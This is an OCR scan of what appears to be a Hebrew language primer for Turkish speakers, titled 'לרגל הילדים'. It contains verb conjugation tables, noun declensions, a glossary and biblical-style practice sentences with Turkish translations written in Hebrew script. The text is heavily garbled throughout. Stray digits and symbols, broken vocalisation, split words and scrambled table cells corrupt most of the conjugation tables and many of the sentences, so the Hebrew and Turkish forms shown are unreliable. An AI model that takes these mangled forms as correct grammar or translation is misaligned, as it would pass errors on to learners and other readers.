ו סניג סאקלאיוג'יג ,. סני סאקלאייג'י : 2 בנים סאקלאייגיילרים . .
גב שומריכם . סיזיג סאקלאויכ'ילריניז , סיזי סאקלאייג'ילר 5 וכ" .
שומָרָה., שומרוּת, וצ
שומרת , שומרות , זוא א'
-'* | ז
בב / 1 7 רווה ת -. (נתועזית (בן - זלאדינים) | -
שמור . | שמורים, (, שמרי, בגיס סאקלאנסושים. ובן סא שְמוּרְךף,
הגרד , סניג סאקלאנמי ישינ, (ס; סאקלאָדיניג).
=.'- (2
% =
שר מורה \ שמ רות , חצ
. 5 ויו
ב ל 7 ורי - קל כ רו תטחר; .
6 : סאכקלאמק -- שמרי ב סאקלאכט) ק , בנים סאק ג +-? =ן סאקלאד ג'יב,
-- ,
או | שמרני | בנכי סאקלאמאק, לְשָמרג'י; בּני 6 נני סאקלאמאק
/ . - י שי 1 . קל: ר%י בר
שמ . ב : . שָמרָףּ או שמרךף , שָמֶ. 5 סאק ומאק 2 גי
₪ / ץ 5 יב ב 6 9 \-
סה יש קלאמא; , סני2 סאקלאריג ג] סנו סאקלי 4 , לשמְרְך ,
גי סאקלאבאיא , גי םאקלאמאק איצון . שמרו , שמרה | או סאקלאמאק,
סד מפור
אניג: סאללאמ מאסי , אניג םאקלאדיג גי, - אני סאקלאמאק . שמרנו,
סאקלאמאק . ביזים סאקלאמאמיז, ביזים סאקלאדינימיז : - ביזי סאקלאמאק .
שְמרְכֶם או ש כם , שְמְרכָן או שְמָדְכֶן, סיז סאכלאמאק , סיזיג
₪ כ -
1 (נלר סא קל
2 זי רש-=2 הר *'יור'סרץ וריו | אנר| קלא אק ,
הא ילאר יפיב, סיו סאקלא | ₪ :- , כ | , -
( 5 -- 7 יגוחרו יא י'\ריו\-
אנלרי. כאקלאדיגי , - אנלרי סאקלאמאק .
לרגל ; הילרים 17
הַפָעִיל הָפְעַל
(חרב) (חרב)
החריב , הראפ איטרי. . החרב , תאב אולונדי .
| לזכר | לנקבה | לזכר | לנקבה
חי |מְחְִיבָה | | הַחְַב = | הְִֶבָה
| מָחְָבֶת = | הַחָרַבְת ָחָבַבְתָּ | הַחַרְבְתָ
, | חי | הַחַבְִיי = | ַחְָבי | תרתי
הָחְריבוּ הַחָרִיבוּ הִחַרְבוּ החרבוּ
> | הֶהָרְכְּתָס | הָחָרַבְתָּן הַחָרְבְתָם | הֶחְְבְתָן
חנו | הַחרכנוּ = התרכנ = |הַחרְכנ
חריב תחריב יחרב תחרב
-ן:. -ןח. דוד- זדוזד-
3 | חריב תַּחַרִיבִי תַחָרַב מֶּחְרְבִי
+ | אַחְרִיב אַחְָרִיב אֶחָרֶב אֶחָרַב
כ | יחָרִיבוּ = | תַחַרְבְנָה יָחָרְבוּ תִּחְרְבְנָה
תריבו = |ִמְֶַנָה == | תְחָרְבוּ = |תָחַַבְנָה
הדיב = | חב = | |נָחרַב = נְחֶרֶב
: |הַחַרֶב הַחְרִיבִי
+ | הַחָרִיבוּ = | החרבנה
: : 5
------------- קה
2 | מַחֶריב | | מַחִַיבָה כְכָת| מִתרב מחרבה "רְבת)
-- -4. - 4> ד ₪ צ וד ד צזוד צ צ "
> | מחריבים | טקריבות מִתָרָבִיס = | מִתָרָבות
ט : =+. דוד צ'י צ*'|ז ד
7 | יר הַמְרְבָ הַתֶרָב
ש | נסמך הַחָריב הַחָרָב 6
טש :
16 לרנל הילדים
(פקד) (פקר)
הַפקיד - ויל איטרי . הַפקר , ויל אולונדי .
לזכר | לנקבה
הקיר = | הִפְקִירָה הִפְּקֶר הִפהְבָה
+ | הַפְקרְתק | | תְפְהַרְת הֶפְקרְתָּ | הֶפְקַרְת
| וְתַקַדְתִּי | | הִפְמַרְתִי הְפְקְדְתִּי | הִפְקַדְתִי
הפקירוּ = | הַפקידו לקה
> | חפְקַרְמָּם | הפְקַלְתָן | || תָפקְדְתָה | הֶפֶקְמּן
הַפְקְרְנוּ | | הפקדנו הַפְּקדנוּ | | הִפְּקְרְנו
שיד | | מִפְקִיד קד קר
= | תַפקִיד = | תְפְקִידִי תָפָקָד = | תֶפְקְדִי
ד | אָפקיד. = | אַפקיר אֶפְקד אֶפְקד
כ |ָקְדוּ | |תִפְקְנָה = |יַפְקח | | תְפְקְרְנָה
> | תַפקידוּ = | תִפּקְרֶנָה תָפֶקְדוּ | | תַפְקְרְנָה
נִפָקִיר פָקִי נָפָקֶד נְפֶקֶד
: ַפָקר הַפְּקִירִי
- | הפקידוּ הַפל קנה
+ 1
: .. מַפַּקִירָה יהקרת'| מַפקר מִפַקְרָה "ירת
: מפקירים מפקידות מפקדים מפקדות
,ו
4 נפרר הפקד הַפָקר
₪ | נססך. הפקיד הָפְקד 6
ט
לרגל הילרים 15
1 א זצא ב'
נפרד | אָגְרַת , מנתוב, לת , קפא .
נסמך | אנָרָת ָכִי לת אנֶס.
שם יחיר | שם יהיר
לזכר | לנקבה | לזכר | לנקבה
[
3)||אתי | |ארתי | |ְעַלסי | תי
ב | ןד | |אלס | (גֶּעָלְסה | (ְִָקְתך
[ | אִנָרְתו אִנַרְתּהּ ְלְגְלָתו ְְּגֶקְתָה
8 | | אִגַרקּנו אגרְתּנו ְלגְלְתנוּ קתו
3 | | אַגָרִַּכֶם אַגָרְתכָן ְּנָלְתְקָם |גִקְגָּלְתָּן
₪ | | אִרְפָם | | אַַרְתֶן לְנָקְקם ]1
| שם. רכום | שם רבים
נפרר | : אֶגרות . לְנָּלות .
נסטף | אֶגרות אָבִי. ְלְגָּלות אשי
לזכר | | לצה | הלקה לנקבה | לזכר || לנקבה
2
|
אַגְדותַיך רתי תָי לת
אֶנְרותָיו אֶגְרותְיְהָ ּלְנְְתָיו גִרְנִלותִיהָ
אָגְרותִינו נש גו ְּנְלותִינו ללותינו
אִגְרותִיכָם | | אַנְרתימֶן | ְגְותִיכֶס רותיכ
אַגָרוּתֶם פִיהָס| אָגְרותן "תיז "תיק ות "פיי
אֶגָרוְתַי אגְרותי ן ְּלְגְּלותַי ְְנָלותִי
0-20 66%
א\
4
צטצ -
ץע ך'
ץצ ה'
לרגל הילדים
שה 7 שנת עוָלם אברי יוו , שָנָתִי; שנתְךּ / שָנְתַך שנת1,
שנְחָהּ , שִנְתגוּ; שָנַתְכֶס, שֶנִמְכֶן; שנתם, שֶנְתַן . - שנות; שָנות
תנערים, שנותִי ; שָנוּתָיך , שנותיך ; שָנוּהי, שָנוּתִיהָ ; שנותינו ;
שנוּתִיכֶס, שָנותִיכָן : שנותֶם נשָנותִיהֶם) שנותֶן , גשָנותִיקָז .
קה , אללי5 , סי גאה הלל + נאַקתי נאֶקְך נאקחך : אתו ,
--
.
נאַמְתָה : נאַקְתְנו ; נְאַקְתְכֶם נְאַקְתְכן ; נְאָכְמֶם , נְאַקָתָן ; נְאָקות ;
נְאָקות סָלָל: גאַקותי; נְאָקמִיך. נאַקותיך : נשַקותִיו. נְאָקותָיהָ :
נאַקותִינוּ: נשַקותיכם נְאַקותִיכָן : נְאַקותֶם כְאַקותִיהֶם) נְאֶקתן
כאַקותיָה).
--
.
אה , פריאר . תי + חי + אגקמך . אנקתך : אָנְקְתו ,
ַנְתהּ ; אַנְקְנו אַנְְתְכס אָנְְכָן אנת אִנְִתִן.-- אנָקות ,
אנְקוּתִי: מַנְקתָיף ָנְקתיף :+ אַנְקתִיר אָנְקְתִיה + אָנְקְתַנו ;
אַנְקתִיֶם אָנְקותִיכָן אָנְקתס אָנְקתִיהף אנְקיתִן (נקיתיף .
נפרר
שש
א 5 66%
לרנל. הילדי ם
ץצ א'
שנה, ייל. שנה .
נסמך | שנת טובה. אייליּ שנהסי .
נסמך | שנות טוּכָה. איילי שנה לרי .
לזכר | לנקבה | לזכר | לנקבה
שָנותִי שנותַי גְדָבותִי נְְבוּתִי
שת | | שת | |נדְבותָף = | נרבותי
שָנוּתיו שויה ָדְבוּמָיי | גדְבותְיְה
שָנוּתִינו שנותִינו נְדַבותַיגוּ נדבותִיגו
שנּחִיכָס | | שְוּתִיכֶן
שָנוּתֶם פִיסס | שנותָן שי
(חלק ראשון)
0
נְדְבָה , ג'וטרטליק,
נרְבַת לכי +
שם יחיר שם יחיר
לוכר | לנקבה | לזכר | לנקבה
3 | שנָתי שנָתִי ְבָתִי = ִדְבְתִי
| | שת שָנָתַך נִלְבָתְףּ נֶרְבֶתְך
ל | שָנָתו שנָתָהּ דְבָתוּ ְְבָחָהּ
ג | שְנָתְנו שָנְתנו נְִבָתנוּ | נִרְבְתנו
2 || ַתְכֶם | | שנִתְכן דְַתְכָם | נִרְבַתְכֶן
₪ | | שְנְתֶם שָנְתֶן ְדְבְתַס ִדְבְתֶן
שם רבים | שם רבים
נפרד | = שָנות , שנהלר . נְדָבות .
נָדְבות פִי .
3
נְְבוּתִיבָס = | נִדְבוִיכָן
נִרְבוּתֶם פיקס | נָרָבוּתן ימי
20.
2 לרגל הילדים
דוגרולריג יולו דירליכ יולו דיור, אללה יזא דילגומיזי. וא ריג'אמיזי וודדי;
בו תלמיד סיזיג טאפמג'אגיזי בולדי . בו ג'בּבאר בויילו כישי (אולצולי כישי)
דיר. פאדשאהימיזיג ג'בבּארלרי בויילי כישילר (אולצילי כּישילר) דיר .
הוה יִשְמְרְכֶס מִבָּל רע כִּי שומָרים אַתֶּם את מצוותִיו וְהוּלְכִים בְּרְרְבִיו
הטובים . יָדַעְתּי כּי גדל ְחוָה. אָהַבְתִּי את אֶלְהַ בַּכָל ְבִי ובכל נַפַשי
ִ יְַעְתּי כִּי הוא ישְמְרְני בְּעַת צָרָתִי. יקוה שלה על הָאָרֶץ את המכול בי
רְאֶה כִּי רַבָּה. רְעַת הָאָדֶם בָּאָרֶץ. אָבִי מָאָס את הָעָבָדִים הַאֶלֶהבִי עצָלִים
הָם מָאר. גָּם אמי מִאֶמַתֶם כִּי רְשָעִים הֶם ואנשי ריב . הַלַא: שָמע ת כּי אחי
נשיאנו ְהַרַג בַּמִלְחָמָה 12 בנז זכור כִּי נער אַתָה ובָבָר את הַגדוִּים ממָך.
אל תּשָבַּח בְנִי כּי הָאָלְהִים ודע אֶת בָּל מַעָשִי ב י הָאָדֶם. אל תּשְמַחכִּי
ָפָל איַבָך. רָאִיתִי כ גדולים מַעָשִי יהוה. הַרְאִית כּי חזמותינו נַהָרפו
נְהפָכוּ כִי הַרְסָן ותִפְכֶן הַָאיב בַּיום הַמלְחָמהו אֶחוְתִי שְמַתֶה מַאר כִּי רב
ננָה , חַכָמִים הַתִלְמִידִים הָאָלָה בִּי מצאו אֶת הַידְתִי . בָרְתִי , יהוה, כִּי
טפַר אנִי וי בּצל אָנִי: על הא 16 ירעתי ִּי רוח חיי וכלי ימי בורו .
6 9
הַמַלָך ! יהוה ושמרף , אי פאדשאה ! אללה כני קורויא .
שמָעוּ ואת , הזקני ם : אשיטיניז בוני , א* קרטלר !
דבר לי אלוף, המל , בנים סגא סוזים ואר,. אי פאדשאה :
מה כ , הַיָם ? אי דגיז ! סנא נא (אולוייר) ?
בּנִי היה לְאִיש , אתלום אדם אולדי (אדם גא דונד .
- י היה לתכם | תלמידי חכם אולדו (חכם גא דונדי) ,
במ היו לגבורים. , | אווללרים. ג'בבאר אולהולר.,
היח הוה למִלְךָּ על בְּלַהַאָרֶץ , כוטון ייר אוזדינדא בי פאדשאה אולור .
רְעי/מיוּ לו לאוובים . דוסטלרים. :בגא דושמאן אולדולר .
לרגל. הילרים | 141
אנחנו ואמותינו אלמנות . לא אלמן ישראל . טוב יחוה לנפש אשר
תרשו . מלכנו בנה לו בִּיִת מְדָּה . אחי היה איש מדה. מלכנו בנה לו
בתי מדות . אחינו היו אנשי מדות .
בו קול טנבל דיר אני כּים דוטאר (שָכַר) ? אגר פן אגי דוטמאז איסג
בן אני דוטאר אים, קיז קרדשים! פן בגא דושוגי נקל איילא בן אני סגא
יוראר אים, קיזקרדשים ! ן סגא דושומי נקל איטדים סן אני גא יוראר מי
סין + בּן יי רובאמי יירטדים, סן , קיוקרדשים , בגא אני דיכר מי סין +
אגר אני סן דיכמז איסג אני רחל ניג חלאייני דיכר . ירושלם עזיז
שהרימיץ דיר , בּיז אני ג'ומלא עומרומיזיג גונלרי חטרימיזדא דוטאר איז
(סאגיניר אין). שרה ורבקה: סיז מליכהגיזא אבדי חלאייקלר סיגיז וא סיז
אני עומרוגיזיג ג'ומלא גונלרי חטריגיזרא דוטאר סיגיז וא אונוממאז סיגיז .
פאדשאהים: אללה סני הר פנא קאזא דן סאקלא יא . מליכהמיז: אללחימיז
סני הר שהרדא כי וא צול דאכי פנא קאזאלרדץ עומרוגיג ג'ומלא גונלרינרא
| סאקלאיא. ורושלם! סן ביזים עזיז שהרימיז סין, בּיז סני עומרומיזג
ג'ומלא גונלרי חאמרימיודא דוטאר איז . רבקה! סן ביר טנבל חלאייק פין,
וא בּן סני ייגי רובאלרימי דיכמכ איצון נאסלי דוטאיים נשָכָר). שרה
ורבקה: בן סיזא בו גג'א גורדוגי דושלרימי נקל אידר אים פיז בגא אנקרי
יוראר סיגיז. קיוקרדשים! סניג אינפלריג צוק דיר וא נא איצון אנלרי
| סאטמאז סין +
אוגוללרים : אללה סיזי הר פנא קאזא דן וא הר פנא אדם דן
| סאקלאסין . קיז קרדשים וא אנאם ! אללה סיזי הר דורלו פנא כפסיזליכרן
סאקלא יא. אגר אללהי אראר איסָגיז אללה דא סיזי אראר. סניג עקי
בחצאטדא אלמאלר וא נארלר צוק דיר וא בו מגבל חלאייקלר בּוגון אנלרי
| דוושירמזלר . שרה ורבקה : אגר בּו זנגין חאנים סיזי דוטמאז איסא כן
סיזי דוטאר אים. שרה ורבקה: סיז באגלריגיזי בוזאר סיגיז וא אנדן
סוגרא אנלרי ביזא סאטר סיגיז . דושמאנלרים בני קוואר לר כרָרֶףּ) אניג
איצון כּי בן אנלריג איולרינדא גזמדים; זירא אנלריג יוללרי יראמוליק יוללרי
דיר וא אנלרי: איזלרי קינגירליק איזלרי דיר. בּן יאטאגים אוזרינדא
| יאמדים . בן סניג יאמאגיג אוזרינדא יאטמדים . סיויג יאמאגיגיז בּבּאמיג
יאמאגינדן אוזון דגיל דיר . בּו מליכהייג יאטאגי גומיש יאטאק דיר .
| ירושלם פאדשאהלרי וא מליכהלרי אלטין יאטאקלר. אוזרינדא יאטר
אירילר , בּיזים פארשאהימיזיג = אייליפלרי = וא = ג'בבארליקלרי אבּהן
אונוטולמאז . בו הלאייקלר בּיוים אנאלרימיז דיר וא אנלר. טול דיר .
10
בורה , (2111) נ', ג'בבאר-
כּק..
מננא) ג' , הוג'ת.,
מפּמנ'א +
עבורה, פזזא) נ', קוללוק,
ן היזמת , עיבָּדת ,
בקשָה , (11א)ני ,ריג'א ,
ריל5-.
שאָלָה , (₪א) ני
היג'א/. סואָל ,
ִירָה,
דוס5 /
וו ]=
לרגל: הילדים
מַצְוָה , (שא)נ', סמארי
כו
מִדָּה , (זצ) נ', אולצו.
מְטֶה . (שצ) ג', יאטאק י
מִסְלה ; ו ג', יול.
כָּבָשָה, (217 ב" גי, כויי,
רישי לקו"
אמרָה , (217 ב') ני . כו
גוואב. אָמר .
11
דנן , (* א') ז', בוגראיי,
אַשָליק .
אם , (יחיד 21 ב', רבים,
אמות , ושצ) אנא'
ולידה .
אַלְמן ץ ך: אלמנה , ני
טוּל.
צַדְקו , והאיש. אשר שמְרֶם ו הימדה ₪ טבה מַאד / ואנ בה
מֶבבְהָ על סְפֶר . תורת יְהוָה תִּמִימָה וְאַשרִי הָאִיש אֶשָר ְמַרְגָה יְִמרָהָ.
אמרות יהוה אמָרות מהורות וְאַשָרִי הַנְערִים. אשֶר ילמדון . מָה אנוש כּי
הזר ְִּאֶרֶ כִּי תִפְּקְרְנוּ . כּכוכְבִי הַשְמַיִם כְּחוּל יַמִם , לא אֶספְרֶם כִי
ין לְהָם מספר . אָמרְתי לא אוַכְרְנו ולא אָדַבר עור בַּשמו. אֶלהי: אכ
5 אַמִי! ְְרךָ ַאָרֶץ רחזקה. אַתָּה, בנ , שכתק את שאלְתִי
בְקשָתִי ולא תוְבְרָן עור . אַחותִי : שכתתְני י לא תַבְּרְנִי ד . אֶחתִי
שכחתני ולא תִַכְּרָנִי עוד . אחותי וָאִמי: אַתָּן שכַחְתונִי ולא תַבְרּנִי עור
שרה! ! את זרעת את השְרָה הזה ולא תִקְצרִיהו . שרה רבקה ! אקן
נטעתן אֶת הַברֶם הזה ולא תַבְצְרוּהוּ.. אבי שָחַט אֶת הַבּבָשות האלה ְאַת
אַחוּתי י בשי אֶת בּשָרֶן. שמלות אֶחותִי קרועות מה לא תַתפרן ז
שרה ורְבקה : שַמְלותִיכָן קרוּעות וְלְמָה לא תִתְפְּרוּן שמלות שרה ורִבְקָה
קרו שת ולְמָה לא תַתְפָרוּן
מלכנו גְרַלחָמַר, ואלהים ישְמרָנוּ מכל רע . אלהים ישמְרְנוּ מכל
ע. האלהים ישלח לנו את דגננו בְּעָתו. אנחנו נטענו את כרמנו ולא
בְצרְנוּ. המל אמר לגבוריו : אם תלכדו עיר אַל תשרפו באש. המלף
אוהב את עמ וישפטנו - עת משפט 27 רבים חסרי 5 ומי
יום | מותי" ל יי ואַחור הי! לא שבחת תִיכָן וְאָז כ מארץ רחוג קה. ---
לרגל הילדום 9|ן
האדם. משה הכה במטהו את הים ובקעו . טמה אהרן. בלע את מטות
חכמי מצרים . ממותיכם ארכות כְמַטותִינוּ .
< הושמאנלחיניג פנא גונונדא סבינמייָאסין . אוולדלריגיוא אייג'א עזיז
ליפאננוזי אלגרטיגיז . בו איזלר דירליב איזלרי דיר. סגי? תלמידלריג חוש
ססלי דיר. סניג חוש ססלי תלמירלריג בָּנים תלמירלרים קדר פוקרא דגיל
דיר וא אנלריג בִּבָּאלרי דחי סא: דיה,;.בִּי זים חלאייגימיז אבימיזדן גומוש
סאגיטלר וא אלטין סאגיטלר וא רובאלר צאלדי . ּבאלריגיזוא בבאלריגיזיג
בבאלרי ג'ומלאסי גרצכ כּימסאלר אידילר, וא חלק. גא דוגרו שריעת
שריעת אידר אידילר.. יארין ביזים סציניץ גונומיץ דיר . יאשליק גונלרימדא
קוותים נאסלי איסא קרטליק גונלרימדא דא קוותים אוולא דיר . סיזיג
אניד הירכלריניז יישררילר מי+ סיזיג קלבלריגיז בּנים קלבים גִּיבּי רגיל
דיר. בו מיללתלריג ליסאני ביזא יבּאנג'י ליסאן דיר . או ליסאן כּי אניג
אילן. אללְהיג: רסמלרי: יאזילמיש דיר ביזים עזיז דילימיז דיר וא בּיז אני
אונוטמאדיק. שרה ורבקה! בגא דושלריגיזי נקל אידר איס:יז. בן סיוא
אנלרי . יואר אים . + בן דושלר יוראמאיא בילייר אים. בו שהר סויג
ייהלריגיזדן איראק-מי דיר. בּוקיזלר דילבר דיר וא אנלריג ססלרי פכ חוש
נערָב) דיר..
6 1
כּי זרא ; כּי;
המער רעב כִּי לא אבל מָאוּמָה , צוג'יק אץ דיר זירא. ביר שיי וישרי +
לא אוּכָל לכתב כִּי עוף אנכ , בן יאזא בילמם זירא יורגון אים +
ָבִי אֶח אֶת אֶחִי כִּי חָכֶם הוּא, בכאם קררשימי פָברי זורא | או עקללי דור +
דורי הִכָּה אֶת עבדו כִי עַצַל הוּא , אקאם קולוני רונדי זירא או טנפל דיר .
רעי כִּי נרול הוה , בילדיס כּי רבּבּי יוב דיר .
+ \ 6 ₪ . ד : ד
שמעתי כּי מת אחו , | אשיטדים כּי. קררשים אולרי .
זכר כִּי עפֶר אַקָה , = הטריגא נטיר כּי סן טופראק סין .
אל תִּשָמַח כִּי רב הונף . סבינמא. כי. מאליג צוק. דיר .
1% כרגל הילדים
תִּפְּלַת עְבְרָיו הַהלְכִים לפָנִיו ְּכָלְלְבָם . אם בנ ישרְאֶל ישמרו אֶת תורת
ד
הוה ְחָקתיו ּם הוא ישְמע תִפִּלָתֶם בּיום צַרָהֶם. זכר יְהוָהחַרְפת 5
שרה ורבקה שפחת לְמַלָבת הָעִיר הוּאת .- * בְּבִינְתו ולא בְחָבָמָתו קְנָה
הורְףּ אֶת הו הון הזה . נחָלַת אַ בותָיו הוא לז. כָּל אויבי שמחו בּּם ם צַרָתִי .
רבות צָרוּתִי:.
אוולדלרים; אלה תורהסיני רגבת לאיַאסיניז זירא אנדא חיץ כיר
קינגי רליק וו חיץ ביר ילאן פוז ווק דיר . או גומלסי קים | אללהיג כּלאמלרי
- ולרסדיר. יצחק ניג בּכאסי סיקלת גונינדא סמיז אינגיני סאטדי, שרה!
סניג בּבאגא בן אבדי קול אים. בו תלמידלריג בּבאלרי דוגרו שריעתצילר
דיר , אוגלום! אגר סן אייג'א עלס אוגרניר איםג בנים סבינצים דא בּיופ
אולור (כיור), בּיוים פנאליגימיז מסרלילריג פנ: וליגינדן בּיוכ אולדו. ישראל
טופראגיני וא אנ אוכסב קאיאלריני גורדיג מי + רחל ניג חלאייקלרי וא
חיזמת כּר יקיולריג ערה 8 אבלריגא גיטדילר. ירושלם ניג חיסארי
חברון ניג היסארינדן אוכּכ5 דגיל דיר. קיוקרדשים. וא קיזים: אל להא
אישאנא סיניז זירא סיזיג 7 בורג'יגיז או דיר . סיקלת גונוגיודא אללהי
אראר סיגיז אמטא או סיזיג חפלהגיזי אשיטמז. בו איי תלמירלר אוכפיז
צו וקלר דיר; א נלריל בבאסי ביוכ פוקראליכדא אולרו . בו קול ביר זנגין
אדמיג אוגלו דיר , אניג בבּאסי פאדשאהיג = ורי אידי ִמַשָנָה) , סניג
בבאלריג בנים בּבּאלרים דיר , סניג מיללתיג בנים מיללתים דיך. סניג
וי 0 %
טופראני: בנים טופראגים דיר וא סניג אללהיג בּנים אללהים דיר .
בָּנִי אֶל בינתכם אל השענו , הרשעים האלה עָדִי שקר. עד שקר לא
יברד , שרת ה עשירות אתן מאבותיכן ופרותיכן רבות מפרותיהם .
. . 3- וי תזיו
שרה ורבק | מ'כרו ם את פרוו תיהן השמנות והיפות . כל אשר בו נפש
חיה מת ביפי 5 אהרן ובָניוו לבשן בגרי קדש . הראית את בגדי
הקדש אשר לבשטו כהני יהוה ביום חננו? את י ושלם (זי הקדש שרפו
אויבינו באש . בארין נויבינו שכחגו את לשון קדשנו : הכם הזה יורע
לשונות עמים רבים . אנשי המלחמה האלה גבורים מאד וחרבותיהם
הדות ורמחיהם ארכים . בנִי אהרן ילבשו מחר. את בגדי קדשם, הבית
1
וח בית הפלתנו . למי חנרנות המלא ות האלה + הן גרנות מלבתנו .
-
*-- . .. - יי 3 . רוה
אבי קנה את גרן אבי יצחק , אביכם לא כנה את גרנותיני . במקום גדולים
- - - - יי
אל תעמר . אבותי כם היו פה אתמל והיום הלכו למקומם . המקומות אשר
. . - 4 - = רירת
אנחנו וושבים שם. היום רחוק ים מארין אבותינו מארץ נחלתנו . אביכם
-ו ווסוי הרו היו
ספר רי את הלומותיו ואני לא יכלתי לפתר אותם. יהוה יורע לבות בנ
לרגל חילרים
הַלשון אָשָר בְּח נְכְסבָה תפורת יְהנָה לשון
אָבותִינוּ היא .
לֶשון אָבוּחִינוּ רושה לָנוּ מָלְשונות כָּל
הָעָמִים .
חל קרשנוּ הָיא .
האנה הָואת יבשה ולא תִפֶּרַה עור..
אָבוּתִינוּ ישבו בִּירוּשָלם פִּחַתִגַפְנֶם וְחְמת
הְּאָנֶסֶם .
הַתְאָנִים אָשֶַר בּגן דוךִי טובות מָאר .
תי ותאני ישו ולא יפרְחוּ עור .
סּאנִיכֶם ישו (לא
תְפְּרְחְנָה עור .
למִלְחָמָה
הגְמְרִים - הצא
ּבְרְמָחִים .
/ %
בּחַרָכות
מִשפט אָמַת 6 דרי
117
או ליסאן כּי אניג אילן אללהיג תורהסי
יאזילמִיש דיר או בּבאלרימיזי ליסאני
ריר .
בבאלרימיוי1 לוסאני ביוא ג'ומלא מיללת-
לריג ליסאנלרינדן עזיז דיר .
או ביזים עזיז אוּלוּשימיז דיר (עזיז ואריותי-
מיז ריר) .
בו אינג'יר רירגי
יַיָשָרְמו .
בּבאלרימיו ירושלם רא שוזם מטוכלריניג
וא אונג'יר רורכלריני אלטינרא
אוטוררילר
אקאמיג בחצאסינראכי אינג'יר דירכלרו
פכּ אוו ריר .
בנים זייתון דירכלרים וא אינג'ור רורכל-
רים קורודולר וא ביר רחי יישרמולר,
סיזיג אינג'יר דירכלריניו קורודילר וא בּיר
רחי יישרמזלר .
ג'בבארלר ג'נכא קוליג'לר אילן וא סונגילר
אילן ציקדילר .
קורורי וא ביר רחי
דרְכי 4% אֶת ל
₪ קה 0 מובות ישרוה, מַאד תי זי .1 הָלְכְנוּ -
בְחָקת ְהָה' ְתורותָיו מאה נִפשכֶם , על כּ הוא לא ושמ 8
בם צָרַתְכם . רַבָּה רָעַת הָאָדֶם בְּאָרֶץ
0 שָרָה טוב מאר שְמַתַתָה
לה כִּ בָא אָבִיה מאָרֶץ רתוקה . מלְכְתַנוונעְרותִי יָשָבוּ כּל הִַתַחַת
ל" הַתְאָנִים ה
הטובות הָאלָה. בּתִּי: בּימי זק ְנֶתך תְִצִָי אֶת אֶשֶר זרְעת
בִּימִי נעוּריך . שְרָה : הַבְתּךּ תִפרֶה אֶת שמלות הַהַדָשות הַאֶלה ג בַּתִי
לא תַּפַרָתָן. שלמה ומשה
ִחָלָה : . בִָּת והון
: הַרְבותִיכֶם חדות נאֶרְכות . בה חָבְמָה עם
נחָלת. אָבות . הַבָית מַלָא עלמות מְִפָה אֶל פָה. חקות
יהוָה נַתִיבות יט . תִבוּאות תְּאָנִינוּ רבות מִתְבוּאות זיתִיכֶם . הוה ישמע
246
אֶץ ושְַאָל אֶרֶץ הָרִים נְכְעות .
מִפָנִי. יקוה הֶחִָים הָקְרוּ כְּאילִים ,
גָבָעות כַּבְנִו צאן .
ּבָעות אֶרֶץ כָּנְען בוהות מָאר .
ספר לי אֶת חָלוּמוּחְיף גי אפְַּרֶם .
יום קְדְשָנוּ הַיום הַזֶה , יום שמחות הוא
לְנוּ.
בִּימִי זַקְנְָתְנוּ נקצר את אָשֶר זֶרענו בּימי
נעורינוּ .
יה נְשְפְָּנִי כְּצְרְקי .
אשמותִיכֶם רלו ְרְעַתְכֶם רַבָה מָאר .
הְַלְמִירִים הָאלָה גְעִימִי קולות .
בְּרְכִי נַפָשי אֶת יְהוָה כו הוא מִנָדל עוך.
שומר פָּיו ולשונו שומר מַצְרות גפש .
יְהוָה ישמר נִפשות הַהלְכִים בּרַרְכִי ישָר,
יָחה ישְמרְף מִכָּלרְע , ושמר את נִפָשָף.
פֶרְסְף הואת שְמְנֶה מָאד .
לי אָם לא ?
אֶחִיכֶם עִצְלִים מאר ועל כַּן לא נִשכּרֶם .
התְמִכרנה
טייו * "ויווש יק
אַחותִיּסַפָרִי ליוסף = אֶת חלומַף
|
פתרנו לף .
ְהוּא
לרגל הילרים
ישראל טופראני ראגלר וא קאיאלר
טופראני דיר , (ראגלי וא קאיאלו
טופרק ריר) .
רבביג אונונדן ראנלר קוצקארלר. גיבּי. ,
קאיאלר קויון בַּלאלרי גיבּי ספירדילר ,
כּנען טופראגיניג קאיאלרי פּכ אוכסכ דיר.
נא דושלריני נקל איילא וא בן אנלרי
וְסָאר אים .
כוגון עזיו גונימיז דיר , או ביוא סבינצלר
גוני דיר .
קרטליק נונלרימיזרא יאשליק גונלרימיורא
סאצרינימיזי אוראר איו .
בי בנא רוגרולונים גיבּי (רונרולוגימא
גורא) שרעת אירָא .
גונאחלריניו ביודילר וא פנאלינייו צוק
ריר..
בו הלמירלר חוש ססלי דיר .
אי ג'אנים ! רבּבייא מרח אלא , וירא
קוותלי בּורג'י או דיר .
אנזוני וא דיליני סאקלאיאן (אנזינא. וא
רילינא סאקט אולאן) ג'אניני (גנדיני)
סיקלתלררן כאקלייר (סאקלאר ,
קורור) .
רכּבי רוגרו יזללררא גונלריג נ'אנלריני
סאקלאר .
רבבי סני הר פנא דן סאקלאיא ג'אנינו
סאקלאיא .
סניג בו אינגיג כ סמיו דיר , אני בּנא
סאטר מי סין , סאטמאו מי סין ?
סיויג קררשלריניו כ - | ריר אניג
איצון ביו אנלרי (חק אילן) דוטמאו
אוו .
קיוקררשים ! יוסף גא רושוני נקל איילא '
או אני סנא יוראר .
לרגל הילדים
מה , (אזצ א') גי קיז
גנֶץ.
ערה , (צוא א) הי , קיז .
נִחַלָה ו ץצ א') נ', אולוּט,
פאיי, מַלְבָּ .
המורת יהוָה חְמִימָה , תורת אָמֶת .
משפָטי הוה משַפְּטִי צָרָק (צְרָק אולמאז).
הָאִיש הוָּה אוּהָב חִכְמָה ; הוא יורע דּרְכָו
הוה וָתוּרַת אָמָת בְּפִיהוּ .
מִנדל עו שם ותה .
בח בּיקוה בְּבֶל קב
תַשָעָן".
בִּית קדְשנוּ נשרף בְּאָש
יְהוָה מַהִיכַל קרשו ושמע מפלת:
השופטים ה שוּפְטִי צַרָק הֶָם .
וְאֶל בינת אַל
5 ש דן:
ְּנִי + אַל ִרְברו רְבְרִי שָקְר כּי לא יברכו
הִמִרִבְרִים רִבְרִי שר .
שפטו אֶת הָעֶם מַשָפַּט צַרֶק .
ְּם צַרְתִי יְהוּה רְרְשְפִי .
אוהַבִי יְהוָה יַשָמַחוּ שָמחת עוּלֶם .
עָבָד עולֶם אַנִי לָאלְהִי .
חָפַר עוּלֶם עשֶה המל עם אָבִי .
הַאוִיבִים ברו אַת ירוּשָלם וְאֶת חומותְיהָ
הרו .
חורת יְהוָה פורת אֶמת ; דרכִיתַ דַּרְכִי
עם וכל - נתִיכוּתִיהָ שלום .
(חלק ראשון)
חָלוּם / - זו חלוּמות
זצ) ז' דו
15
נָפָש , (חצ א' רי נְפָשות
גיאן .
ש, רוייא. צוא א') נ',
קול , (יהיר 1 רבים קולות
